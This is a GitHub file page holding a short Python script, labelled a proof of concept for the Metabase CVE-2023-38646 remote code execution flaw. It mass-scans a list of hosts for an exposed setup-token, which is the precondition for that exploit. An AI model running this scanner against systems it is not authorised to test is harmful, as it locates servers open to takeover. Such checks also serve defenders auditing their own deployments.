-
Notifications
You must be signed in to change notification settings - Fork 74
/
Copy pathMetabase_RCE_CVE_2023_38646_poc.py
57 lines (52 loc) · 2.13 KB
/
Metabase_RCE_CVE_2023_38646_poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:MDSEC
# from:https://github.com/MD-SEC/MDPOCS
import sys
import requests
import csv
from concurrent.futures import ThreadPoolExecutor
if len(sys.argv) != 2:
print(
'+----------------------------------------------------------------------------------------------------------+')
print(
'+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +')
print(
'+----------------------------------------------------------------------------------------------------------+')
print(
'+ USE: python3 <filename> <hosts.txt> +')
print(
'+ EXP: python3 Metabase_RCE_CVE_2023_38646_poc.py url.txt +')
print(
'+----------------------------------------------------------------------------------------------------------+')
sys.exit()
def exp(host):
url = "http://" + host
headers = {
"Host": "%s" % host,
"Referer": url,
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
}
vulurl = url + "/api/session/properties"
try:
r = requests.get(vulurl, headers=headers)
if "setup-token" in r.text and "\"setup-token\":null" not in r.text:
print (host+":true")
else:
return 0
print (host+":false")
except:
print (host+":false")
if __name__ == '__main__':
file = sys.argv[1]
data = open(file)
reader = csv.reader(data)
with ThreadPoolExecutor(50) as pool:
for row in reader:
pool.submit(exp, row[0])